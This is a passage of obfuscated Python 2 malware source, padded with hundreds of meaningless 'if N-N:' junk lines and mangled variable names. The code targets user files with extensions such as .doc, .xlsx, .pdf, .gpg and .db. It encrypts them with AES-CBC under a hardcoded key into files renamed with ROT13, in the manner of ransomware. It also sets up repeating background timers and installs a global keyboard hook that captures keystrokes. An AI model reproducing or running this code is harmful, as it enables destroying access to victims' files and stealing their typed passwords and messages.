if z22Zz==".zip" or z22Zz==".rar" or z22Zz==".jpg" or z22Zz==".doc" or z22Zz==".docx" or z22Zz==".xls" or z22Zz==".xlsx" or z22Zz==".bb" or z22Zz==".pdf" or z22Zz==".idp" or z22Zz==".ppt" or z22Zz==".pptx" or z22Zz==".db" or z22Zz==".mdb" or z22Zz==".skr" or z22Zz==".pkr" or z22Zz==".asc" or z22Zz==".gpg" or z22Zz==".drw" or z22Zz==".lpt" or z22Zz==".shp" or z22Zz==".rte" or z22Zz==".sda" or z22Zz==".odp" or z22Zz==".sxi" or z22Zz==".odt" or z22Zz==".sxw" or z22Zz==".ods" or z22Zz==".sxc" or z22Zz==".odg" or z22Zz==".sxd" or z22Zz==".odb" or z22Zz==".odf" or z22Zz==".sxm":
if 100-100:Il.Z2zZZ22-l111lIIllI111-z2zz2Zzz-zzz
if 43-43:I111Il1I11l+z2zzzz2Z2zZ2/ll1ll11ll1II*zZ2*ll1ll11ll1II+II1IIl1ll
try:
zz2222zZ=str(ZzZZz)
l11=string.maketrans("ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz","NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
zz2zzZzzz2Z=string.translate(zz2222zZ,l11)
lll1ll111lI1="@3Hse5OrD@*%=Ad8"
if 49-49:z2zz2Zzz-ZzZzzz%l1l.ll11I1l11ll+ll1ll11ll1II/ll1ll11ll1II
Zz2ZzzZZz2Zz=str(I111I)
ZzzZZ2zZzZzzZ=str(Z2Zz22+"HFO- "+zz2zzZzzz2Z)
if 44-44:l1ll1lIll-II1IIl1ll
except Exception,llIll1Il:
print llIll1Il
if 92-92:zzz2*Il11II
try:
def I11(key,in_filename,out_filename=None,chunksize=64*1024):
I1I1=''.join(chr(random.randint(0,0xFF))for i in range(16))
lIlIl=AES.new(key,AES.MODE_CBC,I1I1)
l1IIlI11l=os.path.getsize(in_filename)
if 45-45:I111Il1I11l+zzz2-Il%z2zzzz2Z2zZ2-Z2zZZ22%Il
with open(in_filename,'rb')as lI1II1lIIl11l:
with open(out_filename,'wb')as IIl1l:
IIl1l.write(struct.pack('<Q',l1IIlI11l))
IIl1l.write(I1I1)
if 66-66:Il.ll1ll11ll1II+zZ2-I1Il1l1IIl1I*ll1ll11ll1II%II1IIl1ll
while True:
Il1l=lI1II1lIIl11l.read(chunksize)
if len(Il1l)==0:
break
elif len(Il1l)%16!=0:
Il1l+=' '*(16-len(Il1l)%16)
if 52-52:z2zzzz2Z2zZ2.Il1lII/Il1lII*Il-Z2zZZ22
IIl1l.write(lIlIl.encrypt(Il1l))
if 92-92:zZ2/I1Il1l1IIl1I
I11(lll1ll111lI1,Zz2ZzzZZz2Zz,ZzzZZ2zZzZzzZ)
if 62-62:zzz2*I111Il1I11l
except Exception,llIll1Il:
print llIll1Il
if 88-88:I111Il1I11l
except Exception,llIll1Il:
if 9-9:z22z22zz.II1IIl1ll*Il1ll1llll+z22z22zz-l1l
if 77-77:II1IIl1ll
if 16-16:Il1lII*Il*zzz-I111Il1I11l%ZzZzzz%I1Il1l1IIl1I
print llIll1Il
ZzZz2()
except Exception,llIll1Il:
if 26-26:ll1ll11ll1II%Il11II.ll11I1l11ll.I111Il1I11l+Il1ll1llll
if 96-96:Il.l1ll1lIll%Il1lII/Il.ll11I1l11ll/zZ2
if 90-90:zZ2+Z2zZZ22.zzz.ZzZzzz+Z2zZZ22.I1Il1l1IIl1I
if 37-37:ll1ll11ll1II-z2zz2Zzz/Il
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
return 1
except Exception,llIll1Il:
print llIll1Il
if 59-59:z2zz2Zzz
if 58-58:zzz.ll11I1l11ll*l1ll1lIll*Z2zZZ22
if 64-64:z2zzzz2Z2zZ2%z2zzzz2Z2zZ2-Il11II
if 19-19:ll11I1l11ll+zzz*Il1lII/Z2zZZ22+ZzZzzz-Il1ll1llll
class IllIllIlI1IllI1(threading._Timer):
if 85-85:Il1ll1llll-Il11II%zzz
if 36-36:ll11I1l11ll%Il11II.z22z22zz%Il/Il11II
if 97-97:z22z22zz/Il11II%I1Il1l1IIl1I+ZzZzzz
def __init__(self,*args,**kwargs):
if 53-53:I111Il1I11l.ZzZzzz
if 10-10:Il1lII%z2zz2Zzz
if 71-71:ZzZzzz+I111Il1I11l*z22z22zz
threading._Timer.__init__(self,*args,**kwargs)
self.setDaemon(True)
if 9-9:ZzZzzz*Il11II-l1ll1lIll-Il1lII.zZ2
if 33-33:Il11II*l1l/II1IIl1ll/ll11I1l11ll+zzz2/Il
if 7-7:ll1ll11ll1II*zZ2/ll1ll11ll1II.z2zz2Zzz
def run(self):
while True:
if 70-70:l111lIIllI111.Il1lII.zZ2.ll1ll11ll1II%Il1lII+ll1ll11ll1II
if 23-23:z22z22zz*z2zzzz2Z2zZ2/Il11II
if 77-77:zzz/z22z22zz-zzz2*Il.Z2zZZ22/Il1ll1llll
self.finished.clear()
if 88-88:Il1lII
if 3-3:l1l%l1l*zzz2%l1ll1lIll-I1Il1l1IIl1I%ll11I1l11ll
if 1-1:zzz+Il11II%I1Il1l1IIl1I-ll11I1l11ll
if 55-55:l111lIIllI111-Il%zzz
self.finished.wait(self.interval)
if 98-98:l1ll1lIll.Il11II-Il1lII%zZ2+zZ2
if 36-36:Il
if 88-88:Il1ll1llll
if 79-79:Z2zZZ22-Il1lII.zZ2/Il11II/z2zzzz2Z2zZ2.zzz2
if not self.finished.isSet():
if 21-21:Il1lII.Il11II-Z2zZZ22%zZ2
if 75-75:l1l.zzz
self.function(*self.args,**self.kwargs)
if 13-13:I111Il1I11l%z2zzzz2Z2zZ2
if 47-47:zzz2+zzz.Il1ll1llll%ll1ll11ll1II/Il11II%Il1ll1llll
else:
return
self.finished.set()
if 80-80:II1IIl1ll.zZ2/ZzZzzz%z2zz2Zzz-Z2zZZ22
if 12-12:Z2zZZ22.ll1ll11ll1II*z2zzzz2Z2zZ2-z2zz2Zzz/II1IIl1ll/z2zzzz2Z2zZ2
if 23-23:l1l%zzz2%Il11II
if 7-7:z2zzzz2Z2zZ2.I111Il1I11l-ll1ll11ll1II%zzz*I111Il1I11l
if 8-8:z22z22zz+Z2zZZ22*l111lIIllI111-zZ2%z2zz2Zzz*I111Il1I11l
class I1IIl(object):
ops=[]
def add_operation(self,operation,interval,args=[],kwargs={}):
if 1-1:z2zz2Zzz.I1Il1l1IIl1I/Z2zZZ22.z22z22zz/l1l
if 76-76:ll1ll11ll1II/ZzZzzz*Il1ll1llll
I11zZ2=IllIllIlI1IllI1(interval,operation,args,kwargs)
if 31-31:I111Il1I11l.Z2zZZ22.zzz2/Z2zZZ22-Z2zZZ22-ll11I1l11ll
if 41-41:l111lIIllI111%zZ2+Z2zZZ22
if 59-59:l111lIIllI111/I1Il1l1IIl1I*Z2zZZ22-zzz*Il1ll1llll
self.ops.append(I11zZ2)
if 54-54:Il1lII.ZzZzzz*zzz
if 25-25:l1ll1lIll/Il11II+l1l/Il1lII%Il+ZzZzzz
thread.start_new_thread(I11zZ2.run,())
if 53-53:Z2zZZ22+I1Il1l1IIl1I
def stop(self):
for I11zZ2 in self.ops:
I11zZ2.cancel()
self._event.set()
if 52-52:ll11I1l11ll*I111Il1I11l
if 90-90:z2zz2Zzz
if 19-19:Il1ll1llll%ll11I1l11ll/l1ll1lIll%ll11I1l11ll/Il/zzz2
if 66-66:l1l%Il/l1l.ll1ll11ll1II/Il
if __name__=='__main__':
if 31-31:ZzZzzz%zzz*zZ2.Il1lII/z2zzzz2Z2zZ2*l111lIIllI111
if 91-91:II1IIl1ll
if 62-62:l111lIIllI111-l111lIIllI111%z2zzzz2Z2zZ2%Z2zZZ22
if 49-49:Z2zZZ22.ll11I1l11ll-zzz2+zZ2
try:
I1IllIIl11I=I1IIl()
if 67-67:z22z22zz-Il11II*II1IIl1ll
if 19-19:ZzZzzz
I1IllIIl11I.add_operation(zzz2zzz2Z2zz,300)
except Exception,llIll1Il:
print llIll1Il
if 35-35:ll11I1l11ll+zZ2*l1l.z2zz2Zzz
try:
Ill=threading.Timer(60.0,I111Illlll)
if 60-60:I1Il1l1IIl1I*l1ll1lIll*z2zzzz2Z2zZ2*l111lIIllI111/Il1lII+ll1ll11ll1II
if 9-9:zZ2-Il1ll1llll
Ill.start()
except Exception,llIll1Il:
print llIll1Il
if 16-16:zZ2%l1ll1lIll%z2zz2Zzz
if 25-25:z2zzzz2Z2zZ2
try:
if 37-37:Il1lII.Z2zZZ22+ZzZzzz
if 41-41:z22z22zz.II1IIl1ll%z22z22zz
z2ZZ2ZZ222()
if 56-56:l1ll1lIll
if 78-78:Il1ll1llll%zZ2+z2zzzz2Z2zZ2%Il11II.I111Il1I11l%z22z22zz
l1l1lI()
if 67-67:z2zz2Zzz.z22z22zz+Z2zZZ22
if 51-51:Il1lII.ll1ll11ll1II*ZzZzzz/zzz2+Il1lII-l1ll1lIll
except Exception,llIll1Il:
print llIll1Il
if 46-46:zzz2
try:
l1IlI11=z2Z22ZZz2zzz()
if 56-56:ll11I1l11ll%z2zz2Zzz*z2zz2Zzz
if 18-18:I1Il1l1IIl1I
if 66-66:Il1lII
ZZZ2Zzz2=pyHook.HookManager()
if 70-70:Il1ll1llll+ll11I1l11ll-zzz2.l111lIIllI111.I1Il1l1IIl1I*Il1lII
if 43-43:Il11II.Il1lII*ZzZzzz
ZZZ2Zzz2.KeyDown=l1IlI11.onKeyboardEvent
if 58-58:Il11II/II1IIl1ll
if 27-27:z22z22zz+l111lIIllI111/l1l%Z2zZZ22/I1Il1l1IIl1I-zZ2
ZZZ2Zzz2.HookKeyboard()
if 97-97:zzz2+Z2zZZ22+Z2zZZ22
if 1-1:Il
pythoncom.PumpMessages()
except Exception,llIll1Il:
print llIll1Il
while True:
time.sleep(.1)
if 40-40:ll1ll11ll1II-z22z22zz+Il/I1Il1l1IIl1I
if 58-58:ZzZzzz.z2zzzz2Z2zZ2%I1Il1l1IIl1I+ZzZzzz
if 68-68:Z2zZZ22.z2zzzz2Z2zZ2%z22z22zz
if 44-44:l1ll1lIll
if 78-78:II1IIl1ll
if 9-9:zzz/zzz2%z2zz2Zzz.ll11I1l11ll*II1IIl1ll
if 14-14:Il11II*z2zzzz2Z2zZ2/z2zzzz2Z2zZ2-ll11I1l11ll
if 39-39:z2zz2Zzz*z22z22zz-Il1ll1llll/Z2zZZ22+l1l
if 90-90:z2zzzz2Z2zZ2
if 82-82:Z2zZZ22
if 42-42:z2zz2Zzz*ll1ll11ll1II.Il11II+zZ2-zzz2*zzz
if 94-94:l1ll1lIll
if 7-7:I111Il1I11l/z2zz2Zzz*Il11II
if 16-16:Il.Z2zZZ22
if 5-5:zzz2%Il1lII%z22z22zz.zzz2/Il1ll1llll/l1l
if 17-17:Il1ll1llll.l111lIIllI111%ZzZzzz/l111lIIllI111.zzz2
if 16-16:z2zzzz2Z2zZ2%zzz2.z2zz2Zzz-zzz
if 7-7:Il1lII/l1ll1lIll.zzz-Il11II*II1IIl1ll+zZ2
if 55-55:ll11I1l11ll.l1l*l111lIIllI111+z2zz2Zzz*Il1lII.ll11I1l11ll
if 30-30:zzz/l111lIIllI111/I1Il1l1IIl1I/ZzZzzz
if 43-43:l111lIIllI111-l111lIIllI111*I1Il1l1IIl1I
if 33-33:I111Il1I11l+z22z22zz*ll1ll11ll1II*Il1ll1llll
if 47-47:z2zzzz2Z2zZ2*l1ll1lIll/ll11I1l11ll
if 92-92:ll11I1l11ll.z22z22zz.z2zzzz2Z2zZ2%z2zz2Zzz+zZ2*II1IIl1ll
if 12-12:II1IIl1ll+Z2zZZ22*I111Il1I11l*l1ll1lIll-z2zz2Zzz%Il
if 15-15:I111Il1I11l
if 33-33:II1IIl1ll-ll1ll11ll1II%ll11I1l11ll*l111lIIllI111
if 48-48:z2zzzz2Z2zZ2%l1ll1lIll/Il11II-II1IIl1ll%zzz2+ZzZzzz
if 86-86:l1ll1lIll+zzz*Il1lII%II1IIl1ll/zZ2.ll1ll11ll1II
if 91-91:Z2zZZ22.Il11II*l111lIIllI111*l1l
if 82-82:II1IIl1ll-Il*zzz2+z22z22zz*zzz
if 97-97:zzz2+zZ2%Il/Il+z2zz2Zzz/Il
if 88-88:l1l*ll11I1l11ll.z2zzzz2Z2zZ2-z2zzzz2Z2zZ2
if 33-33:Il1lII
if 85-85:I111Il1I11l*zzz2
if 81-81:l1l*Il
if 39-39:ll1ll11ll1II*Il11II.l1l%z22z22zz%II1IIl1ll
if 39-39:I111Il1I11l
if 79-79:ll11I1l11ll
if 44-44:ZzZzzz-z2zz2Zzz
if 58-58:ll11I1l11ll+ll11I1l11ll
if 90-90:II1IIl1ll%Il11II.z2zz2Zzz*ZzZzzz
if 38-38:zZ2
if 66-66:z2zz2Zzz
if 87-87:Z2zZZ22.l1ll1lIll*Il1ll1llll*Il1ll1llll-II1IIl1ll-Il1lII
if 20-20:Il1ll1llll.ll1ll11ll1II-II1IIl1ll+ZzZzzz%Il1ll1llll+ll1ll11ll1II
if 35-35:zzz
if 50-50:I111Il1I11l+zZ2/II1IIl1ll
if 100-100:I1Il1l1IIl1I%Il11II+zZ2
if 37-37:I111Il1I11l+l1l/l111lIIllI111
if 99-99:ll1ll11ll1II+l1ll1lIll*ll1ll11ll1II+z2zz2Zzz
if 65-65:zzz+ll1ll11ll1II-Il1ll1llll+I111Il1I11l
if 89-89:ZzZzzz%l1l.II1IIl1ll%Il1ll1llll.Il1lII
if 52-52:I1Il1l1IIl1I.ll1ll11ll1II
if 59-59:Z2zZZ22
if 73-73:l111lIIllI111*l1l+l111lIIllI111+l111lIIllI111
if 82-82:z2zzzz2Z2zZ2.Il%l1ll1lIll*zzz2+zZ2
if 30-30:l1l%Il11II.Il/Il1lII+II1IIl1ll
if 90-90:Il*I111Il1I11l*Z2zZZ22
if 91-91:I111Il1I11l.ll11I1l11ll/I1Il1l1IIl1I/Il11II%l111lIIllI111
if 34-34:z2zzzz2Z2zZ2/ll11I1l11ll/I1Il1l1IIl1I%I1Il1l1IIl1I%ZzZzzz
if 70-70:Il1lII.Il
if 57-57:zzz/ll11I1l11ll*z2zzzz2Z2zZ2*l1l
if 46-46:l111lIIllI111
if 63-63:Il
if 35-35:zzz.Il/z22z22zz/Il1lII-zzz+zZ2
if 19-19:ll1ll11ll1II.zZ2-zZ2.zZ2+z2zzzz2Z2zZ2%Z2zZZ22
if 42-42:zZ2/z2zz2Zzz-z2zzzz2Z2zZ2/I1Il1l1IIl1I
if 94-94:Il%Il1ll1llll-ll11I1l11ll
if 62-62:ll11I1l11ll*Il1lII%ZzZzzz/zzz2.Il1lII%z2zzzz2Z2zZ2
if 17-17:I1Il1l1IIl1I.z2zz2Zzz%l1ll1lIll
if 84-84:zzz-z2zz2Zzz-ll11I1l11ll
if 64-64:I1Il1l1IIl1I%Il1lII+ZzZzzz
if 63-63:Il1lII-I1Il1l1IIl1I-Il1ll1llll*Il11II+l111lIIllI111%z22z22zz
if 96-96:Il1lII-z2zzzz2Z2zZ2/Il1lII
if 68-68:l1l*ll11I1l11ll.zzz2%Il11II-Il1ll1llll-Il11II
if 89-89:ll11I1l11ll+I111Il1I11l*zZ2*z22z22zz
if 13-13:Il1ll1llll.l1l
if 26-26:II1IIl1ll*Z2zZZ22*zzz%I1Il1l1IIl1I.l1ll1lIll
if 83-83:ZzZzzz
if 97-97:ll11I1l11ll
if 78-78:l111lIIllI111-zZ2%Il1lII
if 23-23:ll11I1l11ll
if 95-95:z22z22zz
if 98-98:Il+zzz2%zzz2.Z2zZZ22*l1l.Il
if 70-70:l1ll1lIll+zZ2*I1Il1l1IIl1I/I1Il1l1IIl1I/I1Il1l1IIl1I/l1ll1lIll
if 96-96:I1Il1l1IIl1I*Il11II
if 81-81:Il1lII*Il.Il11II-zZ2
if 21-21:Il11II-Il+II1IIl1ll+zzz*Z2zZZ22
if 10-10:l1l
if 81-81:Il11II.ZzZzzz
if 39-39:I111Il1I11l+I111Il1I11l+l1ll1lIll
if 91-91:I111Il1I11l*l111lIIllI111/ZzZzzz-l1l-l1ll1lIll/l1ll1lIll
if 66-66:ll11I1l11ll/l1l-z2zz2Zzz
if 28-28:ll11I1l11ll%Z2zZZ22+zZ2*l1l
if 13-13:ZzZzzz*z22z22zz/z2zz2Zzz
if 61-61:Il1lII
if 37-37:Il11II.l1ll1lIll*z2zz2Zzz*z2zzzz2Z2zZ2+z2zzzz2Z2zZ2%z2zzzz2Z2zZ2
if 47-47:Z2zZZ22-l1ll1lIll*I111Il1I11l/l1l.II1IIl1ll*Il1ll1llll
if 99-99:Il1lII%z2zz2Zzz%ZzZzzz-Il
if 53-53:II1IIl1ll-l1l+ll11I1l11ll+Il1lII
if 54-54:z2zzzz2Z2zZ2/zZ2-I1Il1l1IIl1I%II1IIl1ll
if 49-49:ll11I1l11ll-I1Il1l1IIl1I
if 97-97:Il+z2zzzz2Z2zZ2*Z2zZZ22
if 35-35:z22z22zz
if 89-89:I111Il1I11l+Z2zZZ22-l111lIIllI111*I111Il1I11l*Z2zZZ22
if 87-87:z2zz2Zzz
if 80-80:z2zz2Zzz*ZzZzzz-ll11I1l11ll+I111Il1I11l+Il1ll1llll/Il11II
if 73-73:Il1ll1llll
if 93-93:l1l%l1ll1lIll
if 91-91:Il1ll1llll%Il1lII.Il1ll1llll+II1IIl1ll+Z2zZZ22+zZ2
if 27-27:z2zzzz2Z2zZ2%zZ2+Il11II-z2zzzz2Z2zZ2-z2zzzz2Z2zZ2-z22z22zz
if 89-89:z2zz2Zzz
if 30-30:zzz2
if 8-8:ZzZzzz%Il1ll1llll/Il*z22z22zz
if 53-53:z2zzzz2Z2zZ2/ll11I1l11ll.zzz2.l1l%zZ2
if 4-4:Il.ll11I1l11ll
if 26-26:I1Il1l1IIl1I.zzz2.Il1lII
if 81-81:I1Il1l1IIl1I+I1Il1l1IIl1I+Il1ll1llll
if 28-28:l111lIIllI111*I111Il1I11l%I1Il1l1IIl1I*zZ2
if 60-60:Il*I1Il1l1IIl1I%zzz-Il11II+zzz%Il11II
if 31-31:ll11I1l11ll+Il*z22z22zz%l1l
if 75-75:zzz.l1l-zzz2/ll11I1l11ll%Il1lII/zzz2
if 45-45:Il/I111Il1I11l/zzz%I111Il1I11l%l1l
if 54-54:I111Il1I11l
if 98-98:Il1ll1llll+I111Il1I11l%l111lIIllI111-ll1ll11ll1II/Il
if 43-43:zzz2.II1IIl1ll
if 55-55:I1Il1l1IIl1I+z2zz2Zzz.Il1lII-II1IIl1ll-Il11II/Il
if 82-82:z2zz2Zzz/ZzZzzz/ll11I1l11ll
if 78-78:zZ2%II1IIl1ll
if 94-94:zzz2.z22z22zz.I1Il1l1IIl1I-Il11II.Il11II-I111Il1I11l
if 27-27:Z2zZZ22*l1ll1lIll%z2zz2Zzz/Z2zZZ22/I1Il1l1IIl1I*ll1ll11ll1II
if 51-51:Il1ll1llll%l1l.Il%zZ2*Il
if 46-46:Z2zZZ22-Il11II+Z2zZZ22/I111Il1I11l%z22z22zz
if 61-61:l1l/Il-zzz
if 27-27:l1l%I111Il1I11l%z22z22zz+I111Il1I11l*z2zz2Zzz
if 66-66:l1l*z2zz2Zzz-zzz
if 61-61:zzz
if 20-20:Il11II
if 95-95:l111lIIllI111.z22z22zz*zzz%z22z22zz
if 50-50:I1Il1l1IIl1I%ll11I1l11ll
if 15-15:Il11II
if 5-5:z2zz2Zzz*l111lIIllI111.II1IIl1ll+Il11II/zzz2/ll11I1l11ll
if 8-8:ll11I1l11ll*ZzZzzz
if 7-7:zzz%ZzZzzz/zZ2/ll11I1l11ll+l1ll1lIll+ll1ll11ll1II
if 15-15:ZzZzzz+I111Il1I11l+l111lIIllI111
if 56-56:Il
if 47-47:l1l/zzz
if 58-58:Il1lII%ll1ll11ll1II-ZzZzzz%II1IIl1ll
if 66-66:z2zz2Zzz-Il1ll1llll.l1ll1lIll.l1l+Il1lII.z2zzzz2Z2zZ2
if 85-85:ll11I1l11ll*l1ll1lIll+ll11I1l11ll-I111Il1I11l+Il1lII
if 34-34:I1Il1l1IIl1I-z2zz2Zzz*II1IIl1ll/z2zz2Zzz
if 83-83:zzz%l1l*zzz2.Il+I111Il1I11l.z2zz2Zzz
if 76-76:ll11I1l11ll.Il1lII+Z2zZZ22+Il1lII
if 45-45:zZ2.Il1ll1llll.Il11II%zzz
if 35-35:I1Il1l1IIl1I/Il1lII+Il1lII.zZ2/l1l
if 37-37:Z2zZZ22/zZ2*ZzZzzz
if 69-69:II1IIl1ll*Il
if 32-32:zzz/ZzZzzz/z2zz2Zzz
if 32-32:Il1lII*l1l-I1Il1l1IIl1I
if 93-93:l1l*zzz/z2zz2Zzz/zZ2*Il1lII
if 45-45:zZ2%ZzZzzz-Il11II%I111Il1I11l
if 34-34:zZ2%ll1ll11ll1II*z22z22zz.z22z22zz
if 96-96:ZzZzzz*I1Il1l1IIl1I%ll1ll11ll1II*Z2zZZ22*I111Il1I11l%I1Il1l1IIl1I
if 25-25:ZzZzzz
if 13-13:z2zz2Zzz%Il1ll1llll*zzz2+l111lIIllI111
if 32-32:I1Il1l1IIl1I+ll1ll11ll1II-Il%I111Il1I11l
if 76-76:II1IIl1ll-zzz
if 49-49:zzz/ll11I1l11ll-Il
if 15-15:Il1ll1llll
if 57-57:Il
if 92-92:l1l.Il1ll1llll.ll11I1l11ll+l111lIIllI111
if 58-58:l111lIIllI111%I111Il1I11l*zZ2%ll1ll11ll1II-zZ2
if 21-21:Il
if 79-79:I1Il1l1IIl1I%II1IIl1ll+l1ll1lIll+ZzZzzz+z22z22zz+l111lIIllI111
if 33-33:Z2zZZ22*ll11I1l11ll
if 54-54:l1l/z22z22zz
if 72-72:l1ll1lIll*ll11I1l11ll.II1IIl1ll
if 72-72:ll1ll11ll1II%ll11I1l11ll%I1Il1l1IIl1I
if 90-90:l1l-l111lIIllI111.Il/zzz2*ll1ll11ll1II%I1Il1l1IIl1I
if 69-69:zzz2
if 66-66:z22z22zz%II1IIl1ll-I1Il1l1IIl1I
if 19-19:z2zzzz2Z2zZ2-Il1lII
if 20-20:Il11II+z2zz2Zzz+ll11I1l11ll
if 32-32:Il1lII+zzz2+l1ll1lIll
if 31-31:Il1ll1llll
if 7-7:l111lIIllI111*I1Il1l1IIl1I+Z2zZZ22
if 74-74:zzz2-zzz2%z2zzzz2Z2zZ2%zZ2
if 59-59:z2zzzz2Z2zZ2%z2zzzz2Z2zZ2.Il11II.ll1ll11ll1II*Il1ll1llll/z2zz2Zzz
if 56-56:I111Il1I11l.z22z22zz
if 8-8:zzz*l1ll1lIll.l1ll1lIll.zZ2*l1l.z2zzzz2Z2zZ2
if 12-12:Il11II
if 45-45:ll1ll11ll1II
if 16-16:I111Il1I11l.z2zzzz2Z2zZ2*Il1lII.ll1ll11ll1II/I1Il1l1IIl1I%zzz
if 82-82:ll11I1l11ll%z22z22zz/I111Il1I11l+Il1ll1llll
if 22-22:zzz2
if 10-10:zZ2%z22z22zz+Il1lII-ll11I1l11ll%ll1ll11ll1II
if 60-60:Il/ll11I1l11ll/l1l/zZ2/zzz*Z2zZZ22
if 21-21:l111lIIllI111-Il1lII/z2zzzz2Z2zZ2.Il1lII
if 63-63:l111lIIllI111.Il1lII-z22z22zz*zzz+ll11I1l11ll-ll11I1l11ll
if 75-75:l1l%Il1ll1llll*Z2zZZ22/II1IIl1ll.zZ2
if 67-67:l1l+Il1lII-ll1ll11ll1II/II1IIl1ll
if 46-46:I1Il1l1IIl1I%ll11I1l11ll-Z2zZZ22/Il11II-Il1lII
if 50-50:II1IIl1ll%l1ll1lIll*Il
if 29-29:zzz
if 71-71:zzz2/z2zzzz2Z2zZ2-l1l+z2zzzz2Z2zZ2-ll11I1l11ll
if 46-46:zzz+ll1ll11ll1II-zzz2+z22z22zz/I111Il1I11l
if 89-89:l1ll1lIll/I111Il1I11l/Il1lII%ll1ll11ll1II+z2zzzz2Z2zZ2
if 41-41:z2zz2Zzz/zzz%ll11I1l11ll+zzz2+z2zz2Zzz.ll1ll11ll1II
if 63-63:l1ll1lIll
if 55-55:Il1lII-Il%z2zz2Zzz*II1IIl1ll
if 66-66:ll11I1l11ll
if 71-71:I1Il1l1IIl1I-ll11I1l11ll+zzz2%ll1ll11ll1II%ll1ll11ll1II
if 54-54:zzz2
if 82-82:ll1ll11ll1II-z2zzzz2Z2zZ2/z2zz2Zzz.zzz%ll1ll11ll1II-ll11I1l11ll
if 66-66:zzz2/ll1ll11ll1II-Il1lII/ll1ll11ll1II+zzz*I1Il1l1IIl1I
if 11-11:I111Il1I11l-ll1ll11ll1II/Il
if 61-61:l111lIIllI111%zzz2+Il*z2zzzz2Z2zZ2+ll1ll11ll1II
if 20-20:I111Il1I11l/Il1ll1llll/Il/I1Il1l1IIl1I*ZzZzzz
if 5-5:z2zzzz2Z2zZ2-zzz*Z2zZZ22+Z2zZZ22+II1IIl1ll
if 98-98:Il1lII.Z2zZZ22+z22z22zz/zzz2
if 71-71:z2zz2Zzz+zZ2+ll1ll11ll1II%I111Il1I11l%Il11II
if 86-86:z2zz2Zzz.I1Il1l1IIl1I/Il1ll1llll%Il1lII
if 97-97:Il1lII
if 82-82:ZzZzzz
if 22-22:z22z22zz*z2zz2Zzz.ll11I1l11ll
if 43-43:z2zz2Zzz*I111Il1I11l*II1IIl1ll%l1ll1lIll.Il11II*l111lIIllI111
if 28-28:II1IIl1ll*z22z22zz*ll11I1l11ll+Z2zZZ22%l1ll1lIll/zzz
if 4-4:zzz2-z2zz2Zzz.z2zzzz2Z2zZ2.z2zz2Zzz*l1ll1lIll
if 27-27:Il1ll1llll+II1IIl1ll%ll11I1l11ll/Il%l111lIIllI111
if 57-57:I111Il1I11l+ll11I1l11ll
if 55-55:l1l.Il1lII-Z2zZZ22*l1ll1lIll/zzz2.Il1ll1llll
if 61-61:Z2zZZ22*Il+l111lIIllI111+zzz2%zzz2/Il1ll1llll
if 77-77:ll11I1l11ll/Il1lII%Il*zZ2+z2zz2Zzz-ZzZzzz
if 55-55:zzz+zZ2*ll11I1l11ll-I111Il1I11l/I1Il1l1IIl1I/Z2zZZ22
if 46-46:zzz-I111Il1I11l.Il1lII.I111Il1I11l
if 20-20:Il
if 59-59:Il11II*zzz
if 74-74:z2zzzz2Z2zZ2-Il11II.zZ2.II1IIl1ll.Z2zZZ22-z2zz2Zzz
if 13-13:Il
if 87-87:zzz2*Il-ll11I1l11ll-Il11II/ll11I1l11ll
if 92-92:l111lIIllI111+z2zzzz2Z2zZ2+z2zz2Zzz/Il11II/ZzZzzz%ll1ll11ll1II
if 62-62:Z2zZZ22.Il1lII-l111lIIllI111.I1Il1l1IIl1I%II1IIl1ll/I111Il1I11l
if 85-85:Il1lII*Z2zZZ22.Il1lII
if 85-85:zzz-Il
if 46-46:Il.l1l
if 45-45:ll1ll11ll1II+zzz2+ZzZzzz%l1l+Il
if 18-18:ll1ll11ll1II+zzz2%z22z22zz*z22z22zz+Il11II/I111Il1I11l
if 96-96:I111Il1I11l*l1l%ll11I1l11ll
if 89-89:I1Il1l1IIl1I-II1IIl1ll/zzz2
if 58-58:Il1lII
if 25-25:ll11I1l11ll
if 28-28:ll11I1l11ll*l1l%II1IIl1ll.ll11I1l11ll-z2zzzz2Z2zZ2
if 35-35:z22z22zz+z22z22zz
if 90-90:z2zz2Zzz+l111lIIllI111.zzz2/Il1lII
if 19-19:Z2zZZ22+Il1lII-Il.ll1ll11ll1II%z22z22zz
if 99-99:z2zzzz2Z2zZ2.Il1lII+Il1ll1llll
if 71-71:ll1ll11ll1II+Z2zZZ22/zZ2/z22z22zz
if 91-91:Il+Il1ll1llll+Il%Il11II%l111lIIllI111
if 27-27:l1l*ZzZzzz.zZ2
if 41-41:Il1ll1llll+Il1lII
if 51-51:Il1lII
if 15-15:ll11I1l11ll.zZ2-II1IIl1ll-ll1ll11ll1II%Il1ll1llll%I111Il1I11l
if 79-79:zzz+Z2zZZ22+ll11I1l11ll
if 3-3:Il1lII-I111Il1I11l-l1ll1lIll
if 5-5:I1Il1l1IIl1I*l1ll1lIll*Il+zZ2
if 62-62:Z2zZZ22+Il*z2zz2Zzz+ZzZzzz.II1IIl1ll.l111lIIllI111
if 20-20:zzz2+ZzZzzz.l111lIIllI111-ZzZzzz-I111Il1I11l
if 74-74:ZzZzzz
if 55-55:I111Il1I11l
if 44-44:Z2zZZ22+z2zzzz2Z2zZ2*l111lIIllI111*zzz-ll1ll11ll1II
if 57-57:z2zzzz2Z2zZ2+II1IIl1ll/Il*z2zz2Zzz.I111Il1I11l
if 35-35:II1IIl1ll/Z2zZZ22*Il1lII/Il1lII-z2zz2Zzz.Il11II
if 88-88:zZ2+I1Il1l1IIl1I+z2zz2Zzz.Il1lII
if 93-93:Il1lII%z2zzzz2Z2zZ2
if 89-89:z2zz2Zzz+ZzZzzz.l111lIIllI111/Z2zZZ22.l1l
if 32-32:I1Il1l1IIl1I+Z2zZZ22%I1Il1l1IIl1I-l111lIIllI111+z2zz2Zzz
if 52-52:zZ2-z22z22zz+I1Il1l1IIl1I%Il1lII+Il1lII
if 83-83:ll11I1l11ll.ll1ll11ll1II+z2zz2Zzz
if 24-24:ZzZzzz/I111Il1I11l-ZzZzzz-Il11II/I1Il1l1IIl1I
if 79-79:I111Il1I11l
if 41-41:ll11I1l11ll/z2zzzz2Z2zZ2
if 63-63:ll1ll11ll1II%ll11I1l11ll.z22z22zz-I1Il1l1IIl1I+z2zz2Zzz
if 96-96:Il1ll1llll
if 24-24:l1ll1lIll%II1IIl1ll
if 89-89:I1Il1l1IIl1I.l1l/l1ll1lIll.z2zz2Zzz
if 32-32:ll11I1l11ll*l111lIIllI111/zzz2*Z2zZZ22+zZ2
if 37-37:I111Il1I11l%z22z22zz
